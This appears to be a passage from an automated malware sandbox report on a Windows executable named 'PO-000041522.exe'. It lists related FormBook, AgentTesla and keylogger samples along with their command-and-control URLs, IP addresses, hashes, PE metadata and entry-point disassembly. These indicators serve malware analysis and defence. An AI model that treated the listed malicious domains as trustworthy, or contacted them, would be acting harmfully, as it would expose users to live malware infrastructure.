                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.bybitexchange.click/13ne/?74=5f/xJzU+yNg+ckMpk3hmjaYWkh6wrTCC3a9UOIr4Am4abyoaRTootrA/Lbkip0rySLyDMLCpGQATty8VEy6JH/NcRyd0vG303C2Gu654z1NIs6aEGWANEHU=&jf=kjpL5
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.bybitexchange.click/13ne/
                                                                                              188.114.97.3http://onlinecheapflights.net/Get hashmaliciousUnknownBrowse
                                                                                              • onlinecheapflights.net/
                                                                                              Technical Datasheet and Specification_PDF.exeGet hashmaliciousUnknownBrowse
                                                                                              • www.rihanaroly.sbs/othk/?0dk=RykyQ3QZ+r1dqZwhAQupYMuQy26h2PYi8Fyfl3RAfHSVFgYOfXbCDUNV+aNHe22U393WzLygMMdANTa+vksg1hx1LENxGTGsZa2bATkiGgfiS6KvHA==&urk=NXuT
                                                                                              request-BPp -RFQ 0975432.exeGet hashmaliciousPureLog StealerBrowse
                                                                                              • www.ergeneescortg.xyz/guou/
                                                                                              Halkbank_Ekstre_20230426_075819_154055.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.thetahostthe.top/9r5x/
                                                                                              http://comodozeropoint.com/updates/1736162964/N1/Team.exeGet hashmaliciousUnknownBrowse
                                                                                              • comodozeropoint.com/updates/1736162964/N1/Team.exe
                                                                                              SecuriteInfo.com.Win32.MalwareX-gen.14607.6011.exeGet hashmaliciousUnknownBrowse
                                                                                              • servicetelemetryserver.shop/api/index.php
                                                                                              SecuriteInfo.com.Trojan.DownLoader47.45523.5497.16574.exeGet hashmaliciousUnknownBrowse
                                                                                              • servicetelemetryserver.shop/api/index.php
                                                                                              SecuriteInfo.com.Trojan.DownLoader47.45523.5497.16574.exeGet hashmaliciousUnknownBrowse
                                                                                              • servicetelemetryserver.shop/api/index.php
                                                                                              ZP4KZDHVHWZZ2DC13DMX.exeGet hashmaliciousAmadeyBrowse
                                                                                              • tipinfodownload-soft1.com/g9jvjfd73/index.php
                                                                                              aQdB62N7SB.elfGet hashmaliciousShikitega, XmrigBrowse
                                                                                              • main.dsn.ovh/dns/loadbit
                                                                                              37.9.175.163PO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.elektromontaze.online/2amq/
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.elektromontaze.online/2amq/?jf=kjpL5&74=TrqYGwWaHxniF7eORKDKh7tGyWgGafBtnDDYGpgsaE/mtn8diYV+ickL9IcoZLc+jgEWqYyaPiUJOg0jMzRcLcCnQvacVIWo+hTFQZY9/PlLNXrU8xHcif0=
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.elektromontaze.online/2amq/
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.elektromontaze.online/t3gh/
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.elektromontaze.online/t3gh/
                                                                                              https://www.clubhouseapi.com/r/SPrhq5uVU8OBOslVcDpsrA?s=0Get hashmaliciousUnknownBrowse
                                                                                              • zghannk.hu.d.r3.wbsprt.com/favicon.ico
                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                              webredir.vip.gandi.netDoc 784-01965670.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              rDebitadvice22_10_2024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              PO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              foljNJ4bug.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              7v8szLCQAn.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              BILL OF LADDING.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              fJD7ivEnzm.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              5FRWRDOqk7.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              www.royapop.onlinePO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 209.74.64.190
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 209.74.64.190
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • 209.74.64.190
                                                                                              www.launchdreamidea.xyzDoc 784-01965670.exeGet hashmaliciousFormBookBrowse
                                                                                              • 188.114.96.3
                                                                                              BL.exeGet hashmaliciousFormBookBrowse
                                                                                              • 188.114.96.3
                                                                                              PO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 188.114.97.3
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 188.114.97.3
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • 188.114.97.3
                                                                                              BILL OF LADDING.exeGet hashmaliciousFormBookBrowse
                                                                                              • 188.114.97.3
                                                                                              www.gcast.videoHalkbank_Ekstre_20230426_075819_154055.exeGet hashmaliciousFormBookBrowse
                                                                                              • 98.124.224.17
                                                                                              PO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 98.124.224.17
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 98.124.224.17
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • 98.124.224.17
                                                                                              NARLOG 08.10.2024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 98.124.224.17
                                                                                              www.elektromontaze.onlinePO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                              CLOUDFLARENETUSAL DALEEL ELECT SWITCH GEAR TR LLC. - PO.exeGet hashmaliciousMassLogger RATBrowse
                                                                                              • 188.114.96.3
                                                                                              https://github.com/Matty77o/malware-samples-m-h/raw/refs/heads/main/TheTrueFriend.exeGet hashmaliciousUnknownBrowse
                                                                                              • 162.159.135.232
                                                                                              Distribuciones Enelca Ja#U00e9n, S.L. PEDIDO 456799.vbsGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                              • 188.114.96.3
                                                                                              LlbpXphTu9.exeGet hashmaliciousUnknownBrowse
                                                                                              • 104.21.3.193
                                                                                              Pedido de Cota#U00e7#U00e3o-24100004_lista comercial.vbsGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                              • 188.114.96.3
                                                                                              https://email.email.pandadoc.net/c/eJxUkE9r4zwQxj-NdUuQR5ItHXQobfwG3rLQsmHbXspIGjeqE8m1FYfm0y-B7f65DcP8ht_zBOsa4XrNQvanI6XyGoPN-f7_7ilGN8iYdk8Pn-dxt_vOyNYtmMZwDpztLRpXK45GaGy9C943vK2NJgTDG-WQRQscZM1B1AJaztfS904pGYLuOTQtVZLTEeNhPWIKGLJfJyoszq9lQk_oDmTLdCJ2sPtSxrkSNxV0FXQ4jn8Qn48VdF_6FXQLVKIreaBUiTvSzgiJNQeJqLDhSoJpBAanJYFWrZO1kb6uRMdSLrGPHkvM6VqDaxuBBtpVCyBWEkW9wkbTCsko1-galQ4sT2-Y4uU39N85y5jEfDMn83C50P6beDlv2WTDe040V5K702Ggj9NhvKqziZY4_2J_iM3H6W67XV7Uop9j2dyq0D-yYr_S_TWuCk5v9M9mvl4sFtg5T8M8oqfrU_W4od1nvwdHIdy798HfDs_6ZwAAAP__1K2kLgGet hashmaliciousUnknownBrowse
                                                                                              • 104.16.117.116
                                                                                              044SqLy1H3.exeGet hashmaliciousLummaCBrowse
                                                                                              • 188.114.97.3
                                                                                              sample.pdfGet hashmaliciousHtmlDropperBrowse
                                                                                              • 104.21.65.137
                                                                                              https://email.email.pandadoc.net/c/eJxUkMtu2zoQhp9G3NkQhxQlLbRIjo8QpKjRS5qi3QTD4TCmZYuyRNm1nr4w0PSyGwzmG3z_7xprlPWVcJHmI_fpJbjmguOnLn78cm0vTw-4fw8_dttdENzIEmoji9oYsWsAtST2VKmiVOSoJqdyVNYa9pUnKUIDOWiZA0hTgDZrUNoXnphIopaly3TORwyH9YC9Qxdp3XMSYXpJIxKjPXCTxpnFodmlNEyZusugzaDFYfiDUDxm0L7pZ9CeIVNtih33mdpIlF4hGzaGIM8ta2mV83UNlbFYlJCbQhsoM9WKPqbgA2EKsb_VACXX1jKtlM9hpQHcqiKvVsZXuvB16WTBIo6v2IflN7T_8Ly_7-p6G_bz4wbM8n1Sp6MYG7ePPU-Zzu186Pg0H4abuhj5HKZfrF4mPLvT5vndMpR0h183E0MpUvOW7q9xlXB85X820-3i3IC4xLGbBiS-Pf3v-o2eUuge_l-21bG_2vt-fvz8MwAA__9XraZ6Get hashmaliciousUnknownBrowse
                                                                                              • 104.16.117.116
                                                                                              wRcmIT6Eji.exeGet hashmaliciousLummaCBrowse
                                                                                              • 188.114.97.3
                                                                                              GANDI-ASDomainnameregistrar-httpwwwgandinetFRDoc 784-01965670.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              BL.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              rDebitadvice22_10_2024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              PO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              foljNJ4bug.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              7v8szLCQAn.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              BILL OF LADDING.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              fJD7ivEnzm.exeGet hashmaliciousFormBookBrowse
                                                                                              • 217.70.184.50
                                                                                              AZDIGI-AS-VNAZDIGICorporationVNPO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 45.252.249.43
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 45.252.249.43
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • 45.252.249.43
                                                                                              RFQ PAL-10GN SN 2001964_xls.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                              • 45.252.248.26
                                                                                              18092024 PDF.exeGet hashmaliciousAgentTeslaBrowse
                                                                                              • 45.252.248.26
                                                                                              2723912 PDF.exeGet hashmaliciousAgentTeslaBrowse
                                                                                              • 45.252.248.26
                                                                                              https://eu-files.jotform.com/jufs/Balciunas/form_files/mayeri.66cdabd2a5f975.43943309.pdf?md5=MSrOXntTEwGBrCuETzXGIw&expires=1724764002Get hashmaliciousUnknownBrowse
                                                                                              • 45.252.251.31
                                                                                              DHL AWB INV & PL pdf.exeGet hashmaliciousAgentTeslaBrowse
                                                                                              • 45.252.248.26
                                                                                              PO0012689 Scan PDF.exeGet hashmaliciousAgentTesla, PureLog Stealer, zgRATBrowse
                                                                                              • 45.252.248.26
                                                                                              DHL 7339BB905AA.exeGet hashmaliciousAgentTeslaBrowse
                                                                                              • 45.252.248.26
                                                                                              CIZGITRP1 BOL.exeGet hashmaliciousUnknownBrowse
                                                                                              • 85.159.66.93
                                                                                              rBALT-10212024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 85.159.66.93
                                                                                              General terms and conditions of sale - Valid from 10202024 to 12312024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 85.159.66.93
                                                                                              request-BPp -RFQ 0975432.exeGet hashmaliciousPureLog StealerBrowse
                                                                                              • 85.159.66.93
                                                                                              rDebitadvice22_10_2024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 85.159.66.93
                                                                                              PO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 85.159.66.93
                                                                                              NOXGUARD AUS 40 UREA__912001_NOR_EN - MSDS.exeGet hashmaliciousUnknownBrowse
                                                                                              • 85.159.66.93
                                                                                              seethebstthingstogetwithentirethingstobegret.htaGet hashmaliciousCobalt Strike, FormBookBrowse
                                                                                              • 85.159.66.93
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 85.159.66.93
                                                                                              Price Inquiry.exeGet hashmaliciousFormBookBrowse
                                                                                              • 85.159.66.93
                                                                                              WEBSUPPORT-SRO-SK-ASSKLlbpXphTu9.exeGet hashmaliciousUnknownBrowse
                                                                                              • 37.9.175.196
                                                                                              PO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              CENA.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              ZAMOWIEN.EXE.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                              • 185.111.89.250
                                                                                              https://alquimista.hosted.phplist.com/lists/lt.php?tid=cE0FU1AHDgIFBx4AXQpVFAZXX18ZAwJTUx9QXA8AVFIMCQAEUVZKAFQHUVFfBFYUCloJBRlWDQ1SH15cAl1MUAFUAwIDUgNQUFlSHQxTUg1XUF9VGVIHVgUfUlgOUUxZXAZSGFMFDwxZBFdUWAEDAAGet hashmaliciousUnknownBrowse
                                                                                              • 37.9.175.157
                                                                                              PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                              • 37.9.175.163
                                                                                              https://www.damia.sk/UniModul/Swiss-kunden/Get hashmaliciousUnknownBrowse
                                                                                              • 37.9.175.179
                                                                                              https://www.slovago.sk/webtemp/Swiss-kunden/Get hashmaliciousHTMLPhisherBrowse
                                                                                              • 37.9.175.156
                                                                                              No context
                                                                                              No context
                                                                                              Process:C:\Windows\SysWOW64\netsh.exe
                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                                              Category:modified
                                                                                              Size (bytes):196608
                                                                                              Entropy (8bit):1.1215420383712111
                                                                                              Encrypted:false
                                                                                              SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                                              MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                                              SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                                              SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                                              SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                                              Malicious:false
                                                                                              Reputation:moderate, very likely benign file
                                                                                              Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                              Process:C:\Users\user\Desktop\PO-000041522.exe
                                                                                              File Type:data
                                                                                              Category:modified
                                                                                              Size (bytes):287232
                                                                                              Entropy (8bit):7.994189972485523
                                                                                              Encrypted:true
                                                                                              SSDEEP:6144:AeDJH8zj1OtrrYz7hzQazqPRdgMSiPh7HrAe4AmMQwCyDl3kURV:Ae1+jwdcPhzQEqpdL/L6MQwCySQV
                                                                                              MD5:490C8F3182B94DC1614D63035E62B666
                                                                                              SHA1:1B40E3E130CF266A5BBEC9C78A81501BE9B460D0
                                                                                              SHA-256:6FDBF26A36C9B2E5C57CAE45290EF2B2733F922D1A5537CFFE2F261721CBE85C
                                                                                              SHA-512:38A7D408E7C2D2D5E8EB5D6A028FA3083A9E71341A4EC4BC857AB11ADE481A2864FF7C31626BE506D3220A09C358DAF657DE8A66B18AA1D219E6B0B6079323CF
                                                                                              Malicious:false
                                                                                              Reputation:low
                                                                                              Preview:.....QRWD...Q....RT...n[Y...2QRWDA0FXQPUK2QRWDA0FXQPUK2QRW.A0FVN.[K.X.v.@|.y.8<8.! 8#3Q+x21;%]%r5!aB36q9;kv..w).T#v\]_o2QRWDA0?YX.h+U.o7#..&?.J...k20.[..m02.(...x!W..83=vR6.WDA0FXQP..2Q.VEA.=..PUK2QRWD.0DYZQ^K2.VWDA0FXQPU.!QRWTA0F8UPUKrQRGDA0DXQVUK2QRWDG0FXQPUK21VWDC0FXQPUI2..WDQ0FHQPUK"QRGDA0FXQ@UK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUeF4*#DA0b.UPU[2QR.@A0VXQPUK2QRWDA0FXqPU+2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0FXQPUK2QRWDA0F
                                                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                              Entropy (8bit):7.507866421390735
                                                                                              TrID:
                                                                                              • Win32 Executable (generic) a (10002005/4) 95.11%
                                                                                              • AutoIt3 compiled script executable (510682/80) 4.86%
                                                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                              • DOS Executable Generic (2002/1) 0.02%
                                                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                              File name:PO-000041522.exe
                                                                                              File size:1'320'545 bytes
                                                                                              MD5:67da9bd36690b49a4fde479af5fda318
                                                                                              SHA1:b1f9a76703c0f9c4dc118acee204a5eb1e2e8faa
                                                                                              SHA256:c93fd56c4fa567a8dd4fd23e8efb169d767ef87f6be424dbc87fb6187fe2f40a
                                                                                              SHA512:33d0094df8458e6a08ce4b9e1ec81bf764b1586ddc6dfbe1073c1d44443d5e8448098056adac755e926e7e701ffa5ed228b53b312c6be60a3decb8a490e0e5a7
                                                                                              SSDEEP:24576:ffmMv6Ckr7Mny5QL3lE+PCwwNOXHxBRcJGpe+E9vX5cWfrtsU:f3v+7/5QLBPCJq/RceGvX5BTOU
                                                                                              TLSH:8F55F112F7C680F6DDA339B5297BE327DB3475194323C48BA7E42E768E211509B36362
                                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........
                                                                                              Icon Hash:1733312925935517
                                                                                              Entrypoint:0x416310
                                                                                              Entrypoint Section:.text
                                                                                              Digitally signed:false
                                                                                              Imagebase:0x400000
                                                                                              Subsystem:windows gui
                                                                                              Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                              DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                              Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                                                                                              TLS Callbacks:
                                                                                              CLR (.Net) Version:
                                                                                              OS Version Major:5
                                                                                              OS Version Minor:0
                                                                                              File Version Major:5
                                                                                              File Version Minor:0
                                                                                              Subsystem Version Major:5
                                                                                              Subsystem Version Minor:0
                                                                                              Import Hash:aaaa8913c89c8aa4a5d93f06853894da
                                                                                              Instruction
                                                                                              call 00007F3A8D286BBCh
                                                                                              jmp 00007F3A8D27A98Eh
                                                                                              int3
                                                                                              int3
                                                                                              int3
                                                                                              int3
                                                                                              int3
                                                                                              int3
                                                                                              push ebp
                                                                                              mov ebp, esp
                                                                                              push edi
                                                                                              push esi
                                                                                              mov esi, dword ptr [ebp+0Ch]
                                                                                              mov ecx, dword ptr [ebp+10h]
                                                                                              mov edi, dword ptr [ebp+08h]
                                                                                              mov eax, ecx
                                                                                              mov edx, ecx
                                                                                              add eax, esi
                                                                                              cmp edi, esi
                                                                                              jbe 00007F3A8D27AB1Ah
                                                                                              cmp edi, eax
                                                                                              jc 00007F3A8D27ACBAh
                                                                                              cmp ecx, 00000100h
                                                                                              jc 00007F3A8D27AB31h
                                                                                              cmp dword ptr [004A94E0h], 00000000h
                                                                                              je 00007F3A8D27AB28h
                                                                                              push edi
                                                                                              push esi
                                                                                              and edi, 0Fh
                                                                                              and esi, 0Fh
                                                                                              cmp edi, esi
                                                                                              pop esi
                                                                                              pop edi
                                                                                              jne 00007F3A8D27AB1Ah
                                                                                              pop esi
                                                                                              pop edi
                                                                                              pop ebp
                                                                                              jmp 00007F3A8D27AF7Ah
                                                                                              test edi, 00000003h
                                                                                              jne 00007F3A8D27AB27h
                                                                                              shr ecx, 02h
                                                                                              and edx, 03h
                                                                                              cmp ecx, 08h
                                                                                              jc 00007F3A8D27AB3Ch
                                                                                              rep movsd
                                                                                              jmp dword ptr [00416494h+edx*4]
                                                                                              nop
                                                                                              mov eax, edi
                                                                                              mov edx, 00000003h
                                                                                              sub ecx, 04h
                                                                                              jc 00007F3A8D27AB1Eh
                                                                                              and eax, 03h
                                                                                              add ecx, eax
                                                                                              jmp dword ptr [004163A8h+eax*4]
                                                                                              jmp dword ptr [004164A4h+ecx*4]
                                                                                              nop
                                                                                              jmp dword ptr [00416428h+ecx*4]
                                                                                              nop
                                                                                              mov eax, E4004163h
                                                                                              arpl word ptr [ecx+00h], ax
                                                                                              or byte ptr [ecx+eax*2+00h], ah
                                                                                              and edx, ecx
                                                                                              mov al, byte ptr [esi]
                                                                                              mov byte ptr [edi], al
                                                                                              mov al, byte ptr [esi+01h]
                                                                                              mov byte ptr [edi+01h], al
                                                                                              mov al, byte ptr [esi+02h]
                                                                                              shr ecx, 02h
                                                                                              mov byte ptr [edi+02h], al
                                                                                              add esi, 03h
                                                                                              add edi, 03h
                                                                                              cmp ecx, 08h
                                                                                              jc 00007F3A8D27AADEh
                                                                                              Programming Language:
                                                                                              • [ASM] VS2008 SP1 build 30729
                                                                                              • [ C ] VS2008 SP1 build 30729
                                                                                              • [C++] VS2008 SP1 build 30729
                                                                                              • [ C ] VS2005 build 50727
                                                                                              • [IMP] VS2005 build 50727
                                                                                              • [ASM] VS2008 build 21022
                                                                                              • [RES] VS2008 build 21022
                                                                                              • [LNK] VS2008 SP1 build 30729
                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                              .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                              .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                              .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                              .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                              RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                                              RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                                              RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                                              RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                                                                              RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                                                                              RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                                                                              RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                                                                              RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                                                                              RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                                                                              RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                                                                              RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                                                                                              RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                                                                              RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                                                                              RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                                                                              RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                                                                              RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                                                                              RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                                                                                              RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
                                                                                              RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                                                                                              RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                                                                                              RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                                                                              RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                                                                                              RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                                                                                              RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                                                                                              RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                                                                                              RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                                                                                              RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581
                                                                                              DLLImport
                                                                                              WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                                                                              VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                                                                              WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
